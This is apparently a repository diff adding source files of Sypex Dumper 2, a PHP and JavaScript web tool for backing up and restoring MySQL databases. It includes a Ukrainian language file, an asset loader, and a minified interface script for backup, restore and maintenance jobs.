|
||||||
|
'coc_header' => 'Виправлення кодування',// 2.0.7 pro
|
||||||
|
|
||||||
|
'hint_chc' => 'Зміна кодування потрібна у випадках, коли потрібно змінити кодування таблиці та даних, наприклад, з cp1251 в utf8.',// 2.0.7 pro
|
||||||
|
'hint_coc' => 'Виправлення кодування потрібно у випадках, коли у таблиці вказана одне кодування, а дані в іншому. Наприклад, таблиця в latin1, а дані в cp1251.',// 2.0.7 pro
|
||||||
|
'need_backup' => 'Рекомендується попередньо зробити бекап бази даних.',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Долнительные сервисы
|
||||||
|
'btn_chc' => 'Змінити кодування',// 2.0.7 pro
|
||||||
|
'btn_coc' => 'Виправити кодування',// 2.0.7 pro
|
||||||
|
'btn_enable' => 'Увімкнути індекси',// 2.0.7 pro
|
||||||
|
'btn_disable' => 'Вимкнути індекси',// 2.0.7 pro
|
||||||
|
'btn_truncate' => 'Очистити таблиці',// 2.0.7 pro
|
||||||
|
'btn_drop' => 'Видалити таблиці',// 2.0.7 pro
|
||||||
|
'btn_drop_db' => 'Видалити БД',// 2.0.7 pro
|
||||||
|
)
|
||||||
|
);
|
||||||
|
?>
|
|
@ -0,0 +1,19 @@
|
||||||
|
<?php
|
||||||
|
// Sypex Dumper 2 langfile updater
|
||||||
|
$path = './';
|
||||||
|
$langlist = array();
|
||||||
|
if (false !== ($handle = opendir($path))) {
|
||||||
|
while (false !== ($file = readdir($handle))) {
|
||||||
|
if (preg_match("/^lng_([a-z]{2}(-[a-z]{2})?)\.php$/", $file, $m)) {
|
||||||
|
include($path . $file);
|
||||||
|
$langlist[$m[1]] = $LNG['name'];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
closedir($handle);
|
||||||
|
if(count($langlist) > 0){
|
||||||
|
$fp = fopen('list.php', 'w');
|
||||||
|
fwrite($fp, "<?php\n\$langs = " . var_export($langlist, 1) . ";\n?>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
echo 'Langlist updated';
|
||||||
|
?>
|
|
@ -0,0 +1,43 @@
|
||||||
|
<?php
|
||||||
|
error_reporting(0);
|
||||||
|
if(!empty($_SERVER['QUERY_STRING']) && preg_match("/^(\w+)(\.v\d+)?(pro)?\.(lng\.js|js|css|gif|png|ico)$/", $_SERVER['QUERY_STRING'], $m)){
|
||||||
|
$compress = true;
|
||||||
|
$skin = '';
|
||||||
|
$file = $skin;
|
||||||
|
header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 1209600) . ' GMT');
|
||||||
|
header('Cache-Control: max-age=1209600, public');
|
||||||
|
switch($m[4]) {
|
||||||
|
case 'css': $type = 'text/css; charset=UTF-8'; break;
|
||||||
|
case 'js': $type = 'application/x-javascript; charset=UTF-8'; break;
|
||||||
|
case 'lng.js':
|
||||||
|
header('Content-Type: application/x-javascript; charset=UTF-8');
|
||||||
|
//if(!ini_get('zlib.output_compression') && function_exists('ob_gzhandler')) ob_start('ob_gzhandler');
|
||||||
|
include("lang/lng_{$m[1]}.php");
|
||||||
|
echo 'sxdlng = ' . sxd_php2json($LNG['js']) . ';';
|
||||||
|
exit;
|
||||||
|
case 'png': $file = 'img/'; $type = 'image/png';$compress = false; break;
|
||||||
|
case 'gif': $file = 'img/'; $type = 'image/gif';$compress = false; break;
|
||||||
|
case 'ico': $file = ''; $type = 'image/x-icon';$compress = false; break;
|
||||||
|
}
|
||||||
|
$file .= $m[1] . '.' . $m[4];
|
||||||
|
if(is_file($file)){
|
||||||
|
//if($compress) if(!ini_get('zlib.output_compression') && function_exists('ob_gzhandler')) ob_start('ob_gzhandler');
|
||||||
|
header('Content-Type: ' . $type);
|
||||||
|
readfile($file);exit;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
function sxd_php2json($obj){
|
||||||
|
if(count($obj) == 0) return '[]';
|
||||||
|
$is_obj = isset($obj[count($obj) - 1]) ? false : true;
|
||||||
|
$str = $is_obj ? '{' : '[';
|
||||||
|
foreach ($obj AS $key => $value) {
|
||||||
|
$str .= $is_obj ? "'" . addcslashes($key, "\n\r\t'\\/") . "'" . ':' : '';
|
||||||
|
if (is_array($value)) $str .= sxd_php2json($value);
|
||||||
|
elseif (is_null($value)) $str .= 'null';
|
||||||
|
elseif (is_bool($value)) $str .= $value ? 'true' : 'false';
|
||||||
|
elseif (is_numeric($value)) $str .= $value;
|
||||||
|
else $str .= "'" . addcslashes($value, "\n\r\t'\\/") . "'";
|
||||||
|
$str .= ',';
|
||||||
|
}
|
||||||
|
return substr_replace($str, $is_obj ? '}' : ']', -1);
|
||||||
|
}
|
|
@ -0,0 +1,3 @@
|
||||||
|
<?php
|
||||||
|
$SES = array (
|
||||||
|
);
|
|
@ -0,0 +1,55 @@
|
||||||
|
function zGridObject(){return{init:function(a,b){this.el=z(a);this.name=a;this.cfg=b;this.el.className="zGrid";var d="";this.cols=b.header.length;for(var e=0;e<this.cols;e++)d+="<th"+(b.header[e][1]?" width="+b.header[e][1]:"")+">"+b.header[e][0]+"</th>";this.el.innerHTML="<div class=header><div><table cellspacing=0><tr>"+d+'</tr></table></div></div><div style="overflow-x:hidden;overflow-y:auto;"><table cellspacing="0"></table></div>';this.data=this.el.lastChild.firstChild;this.datadiv=this.el.lastChild;
|
||||||
|
this.data.style.width=b.width+"px";this.el.firstChild.style.height="22px";this.el.firstChild.style.width=b.width-1+"px";this.datadiv.style.height=b.height-23+"px";this.datadiv.style.width=b.width-1+"px";if("sxdGrid1"==this.name)this.oldtime="",this.add=this.addLog;else{var c=this;this.selected=null;this.add=function(a){if("object"==typeof a[0])for(var b in a)this.addRow(a[b]);else this.addRow(a)};this.datadiv.onclick=function(){c.selected.className="";c.selected=null}}},addLog:function(a,b,d){for(var e,
|
||||||
|
c,f=0;f<b.length;f++)e=this.data.insertRow(-1),c=e.insertCell(-1),e=e.insertCell(-1),c.width=120,f||(c.innerHTML=this.oldtime!=a?a:" ",this.oldtime=a),e.className="wrap",e.innerHTML=b[f]||" ",d&&(e.style.color=d);this.datadiv.scrollTop=this.datadiv.scrollHeight},addRow:function(a){var b=this.data.insertRow(-1),d;"sxdGrid2"==this.name&&(a[5]=sxd.formatSize(a[5],2));for(var e=0;e<this.cols;e++)d=b.insertCell(-1),this.cfg.header[e][1]&&(d.width=this.cfg.header[e][1]),1==this.cfg.header[e][2]&&(d.style.textAlign=
|
||||||
|
"right"),d.innerHTML=a[e]||" ",d.title=a[e]||"",0==e&&"sxdGrid2"==this.name&&(d.title+="\n"+a[7]);b.file=a[this.cols];var c=this;b.onclick=function(a){a=a||window.event;c.selected&&(c.selected.className="");this.className="sel";c.selected=this;a.stopPropagation&&a.stopPropagation();a.cancelBubble=!0};b.ondblclick=function(a){a=a||window.event;c.selected&&(c.selected.className="");this.className="sel";c.selected=this;sxd.runFiles("open");a.stopPropagation&&a.stopPropagation();a.cancelBubble=!0}},clear:function(){for(var a=
|
||||||
|
0,b=this.data.rows.length;a<b;a++)this.data.deleteRow(0);this.oldtime=""}}}
|
||||||
|
function zProgressObject(){return{init:function(a,b){this.el=z(a);this.name=a;this.type=b;this.el.className="zProc "+(2==b?"blue":"green");this.el.innerHTML="<div class=bot><div class=txt>0%</div></div><div class=top><div class=txt>0%</div></div>";this.txt1=this.el.firstChild.firstChild;this.txt2=this.el.lastChild.firstChild;this.top=this.el.lastChild},set:function(a,b,d,e){a=0<a?100<a?100:a:0;b=b||0;d=d||0;e=e||0;this.txt1.innerHTML=a+"%"+(b?" "+sxd.formatSize(b):"")+(d&&e?" ["+d+"/"+e+"]":"");this.txt2.innerHTML=
|
||||||
|
this.txt1.innerHTML;2==this.type&&(document.title=a+"% - "+sxd.version.full);this.top.style.width=Math.round(3*a)+"px"}}}
|
||||||
|
function zToolbarObject(){return{init:function(a,b){this.el=z(a);this.name=a;this.id="#"+a;this.el.className="zTBar";this.buttons=b;this.curBtn={id:0,more:0,pop:0,el:null,com:null};var d=this;this.el.onmouseover=function(a){!d.curBtn.pop&&d.getId(a||window.event)&&(d.curBtn.el.className="btn ovr")};this.el.onmouseout=function(a){!d.curBtn.pop&&d.getId(a||window.event)&&(d.curBtn.el.className="btn")};this.el.onmousedown=function(a){a=a||window.event;!d.curBtn.pop&&d.getId(a||window.event)&&(d.curBtn.el.className=
|
||||||
|
d.curBtn.more?"btn ovr":"btn dwn",d.curBtn.more&&(d.curBtn.el.lastChild.className="arr dwn",d.curBtn.pop=1,sxd.showMenu(d.curBtn,sxd.options["sj_"+d.curBtn.com],{width:220,runjob:!0}),document.body.onclick=function(){d.curBtn.el.className="btn";d.curBtn.el.lastChild.className="arr";d.curBtn.pop=0;document.body.onclick=null},a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0))};this.el.onmouseup=function(a){!d.curBtn.pop&&d.getId(a||window.event)&&(d.curBtn.el.className="btn ovr",d.curBtn.more&&
|
||||||
|
(d.curBtn.el.lastChild.className="arr"),sxd.actions["tab_"+d.curBtn.com](d.curBtn.more))};var e={".btn.ovr":"0 -28px",".ovr .lb":"0 -72px",".ovr .rb":"-4px -72px",".ovr .mb":"0 -138px",".btn.dwn":"0 -94px",".dwn .lb":"0 -116px",".dwn .rb":"-4px -116px",".dwn .mb":"-4px -138px",".dwn.arr":"0 -94px",".dwn.arr .mb":"-4px -50px"},c;for(c in e)sxd.css.add(".zTBar "+c+" {background-position:"+e[c]+";}");var f="",h;for(h in b)e=b[h],"|"==e[0]?f+='<div class="spl"></div>':(c=' style="background-position:-16px '+
|
||||||
|
-16*(e[2]-1)+'px;"',f+='<div class="btn" id="ztbi_'+h+'"><div class="lb"></div>',f+=e[3]&1?'<div class="txt"'+c+">"+e[1]+"</div>":'<div class="ico" title="'+e[1]+'"'+c+"></div>",f+=e[3]&2?'<div class="arr"><div class="mb"></div><div class="more"></div><div class="rb"></div></div>':'<div class="rb"></div>',f+="</div>");this.el.innerHTML=f;30<this.el.lastChild.offsetTop&&(e=this.el.lastChild.childNodes[1],e.className="ico",e.title=e.innerHTML,e.innerHTML="")},getId:function(a){a=a.target||a.srcElement;
|
||||||
|
for(var b={id:0,more:0,pop:0,el:null,com:null};!a.id;)a.className.match(/arr/)&&(b.more=1),a=a.parentNode;return a.id&&"zTBar"!=a.className?(b.id=1*a.id.replace("ztbi_",""),b.el=a,b.com=this.buttons[b.id][0],this.curBtn=b,!0):!1}}}
|
||||||
|
function zTreeObject(){return{init:function(a,b){this.el=z(a);this.name=a;this.prefix="zti_"+b+"_";this.id="#"+a;this.index=[];this.data=[];this.load=!0;this.err=!1;var d=this;this.el.className="zTree";this.el.onselectstart=function(){return!1};this.el.onclick=function(a){a=a||window.event;var b=a.target||a.srcElement;switch(b.tagName.toUpperCase()){case "I":"pm"==b.className?d.openBranch(d.getId(b)):b.className.match(/^cb[0124]$/)&&d.clickBranch(d.getId(b));break;case "A":d.clickBranch(d.getId(b)),
|
||||||
|
a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0}"A"==b.parentNode.tagName.toUpperCase()&&d.clickBranch(d.getId(b));return!1};this.el.onmousedown=function(a){a=a||window.event;a=a.target||a.srcElement;if("A"==a.tagName.toUpperCase()||"A"==a.parentNode.tagName.toUpperCase())return!1};var e="li.df > div;li.dt > div;li.dl > div;.close .pm;.pm;.cb0;.cb1;.cb2;.cb3;.cb4".split(";"),c;for(c in e)sxd.css.add(".zTree "+e[c]+" {background-position: 0 -"+18*c+"px;}");e=".cTA .cVI .cPR .cFU .cTR .cEV .iTA .iVI .iPR .iFU .iTR .iEV".split(" ");
|
||||||
|
for(c in e)sxd.css.add(".zTree "+e[c]+" {background-position: 0 -"+16*c+"px;}")},getId:function(a){for(;!a.parentNode.id&&(a=a.parentNode););return 1*a.parentNode.id.replace(this.prefix,"")},openBranch:function(a){a=this.index[a];a.open=(a.open+1)%2;sxd.css.swap(a.el,["close","open"],a.open)},clickBranch:function(a){if("lite"==sxd.version.type&&"restore_tree"==this.name)return alert(sxd.lng("pro")),!1;var b=this.index[a];if(3==b.checked)return!1;this.setCheckBox(a,4==b.checked?1:(b.checked+1)%(b.type.match(/^.TA$/)?
|
||||||
|
3:2));this.changeChilds(b);this.checkParents(b)},setCheckBox:function(a,b){b=2==this.index[a].typen&&1==b&&void 0==this.index[a].size?2:b;this.index[a].checked=b;this.index[a].el.firstChild.childNodes[1].className="cb"+b},changeChilds:function(a){if(a.childs)for(var b in a.childs)this.setCheckBox(a.childs[b].id,a.checked),this.changeChilds(a.childs[b])},checkParents:function(a){for(var b;0<a.pid;){a=this.index[a.pid];b=-1;for(var d in a.childs){if(0<=b&&b!=a.childs[d].checked){b=4;break}b=a.childs[d].checked}this.setCheckBox(a.id,
|
||||||
|
b)}1==a.id&&this.recountSizes(a)},drawTree:function(a){this.load=this.err=!1;if("object"!=typeof a)return!1;for(var b=[""],d=[],e=" cTA iTA cVI iVI cPR iPR cFU iFU cTR iTR cEV iEV".split(" "),c=0,f=a.length;c<f;c++)o={},o.id=a[c][0],o.pid=a[c][1],o.parent=b[o.pid],o.name=a[c][2],o.type=e[a[c][3]],o.typen=a[c][3],o.checked=a[c][4]||0,3>a[c][3]&&(o.size=2==a[c][3]?a[c][5]:0),a[c][3]&1&&(o.childs=[],o.open=a[c][5]||0),b[o.id]=o,0<o.pid?b[o.pid].childs.push(o):d.push(o);this.lastId=0;this.el.innerHTML=
|
||||||
|
this.drawChilds(d,0);c=1;for(f=b.length;c<f;c++)b[c]&&(o=z(this.prefix+b[c].id),b[c].el=o);this.data=d;this.index=b},recountSizes:function(a){if(!a.childs)return 0;var b=0,d;for(d in a.childs)b+=this.recountSizes(a.childs[d]),"iTA"==a.childs[d].type&&1==a.childs[d].checked&&(b+=a.childs[d].size||0);a.el.getElementsByTagName("span")[0].innerHTML=sxd.formatSize(b,0);return b},drawChilds:function(a,b){if(0==a.length)return"";for(var d="<ul>",e,c,f,h,k,g,l=0,m=a.length,n=-1,p=0,q=0;q<m;q++)g=a[q],g.childs&&
|
||||||
|
0<g.childs.length?(c="pm",k=this.drawChilds(g.childs,g.id)):(0==b&&(g.checked=3),c=k=""),n=0<=n&&n!=g.checked?4:g.checked,++l,e=m==l?"dl":"dt",f="cb"+g.checked,h=g.type||"iTA",!g.size||1!=g.checked&&4!=g.checked||(p+=g.size),d+='<li class="'+e+(g.open?" open":" close")+'" id="'+this.prefix+g.id+'"><div><i class="'+c+'"></i><i class="'+f+'"></i><a href="#"><i class='+h+"></i> "+g.name+sxd.formatSize(g.size,1)+" </a></div>"+k+"</li>";0<g.pid&&(g.parent.checked=n,0<p&&(g.parent.size+=p));return d+"</ul>"},
|
||||||
|
save:function(){if(this.err)return null;for(var a=this.data,b={TA:[],TC:[],VI:[],PR:[],FU:[],TR:[],EV:[]},d,e,c,f=0,h=a.length;f<h;f++)if(d=a[f],4==d.checked)for(var k=0,g=d.childs.length;k<g;k++)if(e=d.childs[k],4==e.checked)for(var l=0,m=e.childs.length;l<m;l++)c=e.childs[l],1==c.checked?b.TA.push(c.name):2==c.checked&&b.TC.push(c.name);else 1==e.checked?b[e.type.substr(1,2)].push(e.name):2==e.checked&&b.TC.push(e.name);else 1==d.checked?b[d.type.substr(1,2)].push("*"):2==d.checked&&b.TC.push("*");
|
||||||
|
return b},pref:function(){for(var a=this.data,b="",d,e,c,f=0,h=a.length;f<h;f++){d=a[f];for(var k=0,g=d.childs.length;k<g;k++){e=d.childs[k];if(4==e.checked)for(var l=0,m=e.childs.length;l<m;l++){if(c=e.childs[l],1==c.checked||2==c.checked){b=c.name.replace(/^([a-z\d]{1,6}_).+?$/,"$1");break}}else if(1==e.checked||2==e.checked){b=e.name.replace(/^([a-z\d]{1,6}_).+?$/,"$1");break}if(b)break}if(b)break}return b},error:function(a){this.err=!0;this.el.innerHTML="<div class=error><div>"+(a||"Empty")+"</div></div>"}}}
|
||||||
|
function z(a){return document.getElementById(a)}
|
||||||
|
var sxd={version:{num:20008,type:"pro",full:""},init:function(){var a={" .lb":"0 -80px"," .rb":"-2px -80px"," .mb":"-4px -80px",".ovr":"0 -20px",".ovr .lb":"0 -100px",".ovr .rb":"-2px -100px",".ovr .mb":"-4px -100px",".ovr .arr":"0 -40px",".dwn":"0 -20px",".dwn .lb":"0 -100px",".dwn .rb":"-2px -120px",".dwn .mb":"-4px -120px",".dwn .arr":"0 -60px"},b;for(b in a)this.css.add(".zSel"+b+" {background-position:"+a[b]+";}");this.version.full=z("header").innerHTML;this.main=z("main_div");this.menu.el=z("sxdMenu");
|
||||||
|
this.name=z("name").lastChild;this.loading=z("loading");this.overlay=z("overlay");this.progress.current=zProgressObject();this.progress.current.init("sxdProc1",1);this.progress.total=zProgressObject();this.progress.total.init("sxdProc2",2);this.tbar=zToolbarObject();this.tree.backup=zTreeObject();this.tree.backup.init("backup_tree",1);this.tree.restore=zTreeObject();this.tree.restore.init("restore_tree",2);this.tree.services=zTreeObject();this.tree.services.init("services_tree",3);this.comment.backup=
|
||||||
|
z("backup_comment");this.comment.restore=z("restore_comment");this.timer.t1=z("sxdTime1");this.timer.t2=z("sxdTime2");this.timeout=null;this.log=zGridObject();this.log.init("sxdGrid1",{header:[[this.lng("dt"),120],[this.lng("action")]],width:565,height:286});this.files=zGridObject();this.files.init("sxdGrid2",{header:[[this.lng("db"),90],[this.lng("dt"),90],[this.lng("type"),30],[this.lng("tab"),30,1,this.lng("table")],[this.lng("records"),60,1],[this.lng("size"),45,1],[this.lng("comment")]],width:565,
|
||||||
|
height:334});this.result=zGridObject();this.result.init("sxdGrid3",{header:[["Table",160],["Op",70],["Msg_type",50],["Msg_text"]],width:565,height:334});this.addDialogs(["connect","createdb","savejob","charsets"]);this.addTabs("backup restore log result files services options".split(" "));this.addOpt({services:{g_convert:this.lng("btn_chc"),f_correct:this.lng("btn_coc"),e_enable_keys:this.lng("btn_enable"),d_disable_keys:this.lng("btn_disable"),c_truncate:this.lng("btn_truncate"),b_drop_tab:this.lng("btn_drop"),
|
||||||
|
a_drop_db:this.lng("btn_drop_db")}})},job:{name:"abcdefgh",stop:0,log_seek:0,type:""},menu:{el:null,type:"zSelMenu"},tabs:{},openTab:function(a){this.opened&&(this.tabs[this.opened].el.style.display="none");this.opened=a;this.name.innerHTML=this.tabs[a].name;this.tabs[a].el.style.display="";document.title=sxd.version.full},addTabs:function(a){for(var b=0,d=a.length;b<d;b++)this.tabs[a[b]]={name:this.lng(a[b]),el:z("tab_"+a[b])};this.openTab(a[0])},dialogs:{},addDialogs:function(a){for(var b=0,d=a.length;b<
|
||||||
|
d;b++)this.dialogs[a[b]]=z("dia_"+a[b])},tbar:{},tree:{},options:{},progress:{},combos:{},comment:{},lng:function(a){return sxdlng[a]?sxdlng[a]:"[LNG: "+a+"]"},timer:{set:function(a,b,d){function e(a){return(10>Math.floor(a/60)?"0"+Math.floor(a/60):Math.floor(a/60))+":"+(10>a%60?"0"+a%60:a%60)}a||b?(a=b-a,this.t1.innerHTML=e(a),this.t2.innerHTML=e(0<a&&0<d?Math.round(a/(d/100)-a):0)):(this.t1.innerHTML="00:00",this.t2.innerHTML="00:00")}},actions:{db:function(){this.value&&("backup_db"!=this.name&&
|
||||||
|
"services_db"!=this.name||sxd.ajax("index",sxd.lng("load"),{act:"load_db",name:this.name,value:this.value}))},dblist:function(){sxd.ajax("index",sxd.lng("load"),{act:"dblist"})},filelist:function(){sxd.ajax("index",sxd.lng("load"),{act:"filelist"})},files:function(){this.value&&sxd.ajax("index",sxd.lng("load"),{act:"load_files",name:this.name,value:this.value})},tab_connects:function(){sxd.ajax("index",sxd.lng("load"),{act:"load_connect"});sxd.showDialog("connect")},tab_createdb:function(){sxd.showDialog("createdb")},
|
||||||
|
tab_backup:function(){sxd.openTab("backup");sxd.tree.backup.load&&sxd.combos.backup_db.action()},tab_restore:function(){sxd.openTab("restore");sxd.tree.restore.load&&sxd.combos.restore_file.action()},tab_files:function(){sxd.ajax("index",sxd.lng("load"),{act:"load_files_ext"});sxd.openTab("files")},tab_services:function(){sxd.openTab("services");sxd.tree.services.load&&sxd.combos.services_db.action()},tab_options:function(){sxd.ajax("index",sxd.lng("load"),{act:"load_options"});sxd.openTab("options")},
|
||||||
|
tab_exit:function(){sxd.ajax("index",sxd.lng("load"),{act:"exit"})}},informer:function(){sxd.job.timer&&clearTimeout(sxd.job.timer);sxd.job.stop||(sxd.job.timer=setTimeout(function(){sxd.ajax("info",sxd.lng("run"),{job:sxd.job.name,act:"info",lseek:sxd.job.log_seek},1,function(){sxd.informer()})},250))},addDb:function(){sxd.ajax("index",this.lng("sdb"),{act:"add_db",name:z("db_name").value,charset:this.combos.db_charset.value,collate:this.combos.db_charset_col.value});sxd.hideDialog("createdb")},
|
||||||
|
changeCS:function(){this.result.clear();sxd.hideDialog("charsets");this.openTab("result");sxd.ajax("index",this.lng("run"),{act:"services",type:this.serv_type,db:this.combos.services_db.value,charset:this.combos.services_charset.value,collate:this.combos.services_charset_col.value,obj:this.tree.services.save()})},getPrefix:function(){z("prefix").checked&&""==z("prefix_from").value&&(z("prefix_from").value=this.tree.restore.pref())},saveConnect:function(){sxd.ajax("index",this.lng("sc"),{act:"save_connect",
|
||||||
|
host:z("con_host").value,port:z("con_port").value,user:z("con_user").value,pass:z("con_pass").changed?z("con_pass").value:null,comp:z("con_comp").checked?"1":"0",db:z("con_db").value});sxd.hideDialog("connect");z("con_pass").value=""},job2php:function(){return"restore"==sxd.opened||"restore"==sxd.job.type?{act:"restore",type:"restore",db:this.combos.restore_db.value,charset:this.combos.restore_charset.value,file:this.combos.restore_file.value,strategy:this.combos.restore_type.value,correct:z("correct").checked?
|
||||||
|
1:0,autoinc:z("autoinc").checked?1:0,prefix_from:z("prefix_from").value,prefix_to:z("prefix_to").value,savesql:sxd.savesql,obj:this.tree.restore.save()}:{act:"backup",type:"backup",db:this.combos.backup_db.value,charset:this.combos.backup_charset.value,zip:this.combos.backup_zip.value,comment:this.comment.backup.value,del_time:z("del_time").value,del_count:z("del_count").value,outfile:z("outfile").checked?1:0,/*utf:z("utf").checked?1:0,*/obj:this.tree.backup.save()}},saveJob:function(){var a=this.job2php();a.job=z("sj_name").value;
|
||||||
|
a.act="save_job";a.title=z("sj_title").value;sxd.ajax("index",this.lng("sj"),a);sxd.hideDialog("savejob")},runSavedJob:function(a,b){0!=b&&(this.clearLogTab(),sxd.job.name=b,sxd.job.type=a,sxd.job.act="run_savedjob",sxd.ajax("index",this.lng("run"),{act:"run_savedjob",type:a,job:b},1),this.openTab("log"),z("btn_resume").style.display="none",z("btn_pause").style.display="",z("btn_stop").disabled=!1,z("btn_pause").disabled=!1,z("btn_again").disabled=!0,sxd.job.stop=0,sxd.informer())},saveOptions:function(){sxd.confirms=
|
||||||
|
1*z("conf_import").checked+2*z("conf_file").checked+4*z("conf_db").checked+8*z("conf_truncate").checked+16*z("conf_drop").checked;sxd.ajax("index",this.lng("so"),{act:"save_options",time_web:1*z("time_web").value,time_cron:1*z("time_cron").value,backup_path:z("backup_path").value,backup_url:z("backup_url").value,globstat:z("globstat").checked?"1":"0",outfile_path:z("outfile_path").value,outfile_size:z("outfile_size").value,charsets:z("charsets").value,only_create:z("only_create").value,auth:z("auth").value,
|
||||||
|
confirm:sxd.confirms});sxd.hideDialog("connect");z("con_pass").value=""},clearLogTab:function(){this.log.clear();this.timer.set(0);this.job.log_seek=0;this.progress.current.set(0);this.progress.total.set(0)},runBackup:function(){this.clearLogTab();z("btn_resume").style.display="none";z("btn_pause").style.display="";z("btn_down").style.display="none";z("btn_stop").disabled=!1;z("btn_pause").disabled=!1;z("btn_again").disabled=!0;sxd.job.name=this.newJob();sxd.job.type="backup";var a=this.job2php();
|
||||||
|
this.openTab("log");a.type="run";a.job=sxd.job.name;this.ajax("index",this.lng("run"),a,1);sxd.job.stop=0;sxd.informer()},stopJob:function(){z("btn_again").disabled=!1;z("btn_stop").disabled=!0;z("btn_pause").disabled=!0;sxd.ajax("info",this.lng("run"),{job:sxd.job.name,act:"stop"},1)},pauseJob:function(){z("btn_again").disabled=!1;z("btn_stop").disabled=!0;z("btn_pause").disabled=!0;sxd.ajax("info",this.lng("run"),{job:sxd.job.name,act:"pause"},1);z("btn_resume").style.display="";z("btn_pause").style.display=
|
||||||
|
"none"},resumeJob:function(){z("btn_stop").disabled=!1;z("btn_pause").disabled=!1;z("btn_again").disabled=!0;sxd.ajax("index",this.lng("run"),{job:sxd.job.name,act:"resume"},1);z("btn_resume").style.display="none";z("btn_pause").style.display="";sxd.job.stop=0;sxd.informer()},runAgain:function(){"run_savedjob"==sxd.job.act?sxd.runSavedJob(sxd.job.type,sxd.job.name):"backup"==sxd.job.type?sxd.runBackup():"restore"==sxd.job.type&&sxd.runRestore(2)},runRestore:function(a){a=a||0;sxd.confirms&1&&!confirm(sxd.lng("fic"))||
|
||||||
|
(this.clearLogTab(),z("btn_resume").style.display="none",z("btn_pause").style.display="",z("btn_down").style.display="none",z("btn_stop").disabled=!1,z("btn_pause").disabled=!1,z("btn_again").disabled=!0,sxd.job.name=this.newJob(),sxd.job.type="restore",sxd.savesql=1==a?1:2==a?sxd.savesql:0,a=this.job2php(),this.openTab("log"),a.type="run",a.job=sxd.job.name,this.ajax("index",this.lng("run"),a,1),sxd.job.stop=0,sxd.informer())},runServices:function(a){this.serv_type=a=a.replace(/^[a-g]_/,"");switch(a){case "delete":case "drop_db":if(sxd.confirms&
|
||||||
|
4&&!confirm(sxd.lng("ddc")))return;sxd.ajax("index",sxd.lng("run"),{act:"delete_db",name:this.combos.services_db.value});return;case "convert":z("cc_header").innerHTML=sxd.lng("chc_header");z("charset_hint").innerHTML=sxd.lng("hint_chc")+"<br>"+sxd.lng("need_backup");sxd.showDialog("charsets");return;case "correct":z("cc_header").innerHTML=sxd.lng("coc_header");z("charset_hint").innerHTML=sxd.lng("hint_coc")+"<br>"+sxd.lng("need_backup");sxd.showDialog("charsets");return;case "truncate":if(sxd.confirms&
|
||||||
|
8&&!confirm(sxd.lng("ttc")))return;break;case "drop_tab":if(sxd.confirms&16&&!confirm(sxd.lng("tdc")))return}this.result.clear();this.openTab("result");this.ajax("index",this.lng("run"),{act:"services",type:a,db:this.combos.services_db.value,check:this.combos.services_check.value,repair:this.combos.services_repair.value,obj:this.tree.services.save()})},runFiles:function(a,b){b=b||this.files.selected.file;switch(a){case "open":sxd.combos.restore_file.select(b);sxd.openTab("restore");break;case "download":location.href=
|
||||||
|
sxd.backupUrl+b;break;case "delete":if(!b)break;if(sxd.confirms&2&&!confirm(sxd.lng("fdc")))break;sxd.ajax("index",sxd.lng("run"),{act:"delete_file",name:b});sxd.actions.filelist()}},ajax:function(a,b,d,e,c){function f(a,b){var c="";b=b||"";for(var d in a)c+="object"==typeof a[d]?f(a[d],b+"["+d+"]"):"ajax"+b+"["+d+"]="+encodeURIComponent(a[d])+"&";return c}this.showLoading(b);a+=".php";b=f(d);var h=window.XMLHttpRequest?new XMLHttpRequest:window.ActiveXObject?new ActiveXObject("Microsoft.XMLHTTP"):
|
||||||
|
null;h.open("POST",a,!0);h.setRequestHeader("Content-Type","application/x-www-form-urlencoded");var k=this,g=setInterval(function(){h&&4==h.readyState&&(200==h.status&&eval(h.responseText),c&&c(),h=null,clearInterval(g),g=null,e||k.hideLoading())},33);h.send(b)},css:{add:function(a,b){var d=document.styleSheets[0];b||(b=d.cssRules?d.cssRules.length:d.rules.length);d.addRule?/^([^{]+)\{(.*)\}\s*$/.test(a)&&d.addRule(RegExp.$1,RegExp.$2,b):d.insertRule(a,b)},swap:function(a,b,d){var e=a.className.split(/\s+/),
|
||||||
|
c;for(c in e)for(var f in b)if(e[c]==b[f]){e[c]=b[d];break}a.className=e.join(" ")}},showDialog:function(a){this.overlay.style.display="block";a=this.dialogs[a];a.style.display="block";a.style.marginTop="-"+Math.round(a.clientHeight/2-2)+"px";a.getElementsByTagName("input")[0].focus()},hideDialog:function(a){this.dialogs[a].style.display="none";this.overlay.style.display="none"},addCombo:function(a,b,d,e){this.combos[a]={ico:d||0,el:z(a)};var c=this.combos[a];"object"==typeof e?e=this.addOpt(e):(d=
|
||||||
|
/^(\w+):(\w+)$/.exec(e))?(b={},b[e]=0<this.combos[d[2]].options.length?this.combos[d[2]].options[this.combos[d[2]].sel].opts:[],b=this.addOpt(b,1),this.combos[d[2]].child=c):(d={},d[e]={},e=this.addOpt(d));c.options=this.options[e];c.optName=e;c.name=a;c.parent=this;c.el.className="zSel";c.el.innerHTML='<div class="lb"></div><div class="txt" style="background-position:-16px '+-16*(c.ico-1)+'px;"></div><div class="arr"><div class="mb"></div><div class="more"></div><div class="rb"></div></div>';c.action=
|
||||||
|
function(){};c.select=function(a,b){this.sel*=1;if(void 0==this.options)return!1;if("+"==a)this.sel+=this.sel<this.options.length-1?1:0;else if("-"==a)this.sel-=0<this.sel?1:0;else{this.sel=0;for(var c in this.options)if(this.options[c].value==a){this.sel=c;break}}b&&(this.parent.menu.el.style.display="none",document.body.onclick=null);this.value=this.options[this.sel]?this.options[this.sel].value:0;this.text=this.options[this.sel]?this.options[this.sel].text:"";this.el.childNodes[1].innerHTML=this.text;
|
||||||
|
this.child&&(this.parent.clearOpt(this.child.optName),c={},c[this.child.optName]=this.options[this.sel].opts,this.child.select(this.parent.addOpt(c,1),0));var d=this;b?(clearTimeout(sxd.timeout),sxd.timeout=setTimeout(function(){d.action()},500)):this.action()};c.select(b,0);c.action=this.actions[e]||function(){};c.show=function(){c.el.disabled||f.showMenu(c,c.options,{})};var f=this;c.el.onmouseover=function(a){c.el.disabled||(c.el.className="zSel ovr")};c.el.onmousewheel=function(a){a=a||window.event;
|
||||||
|
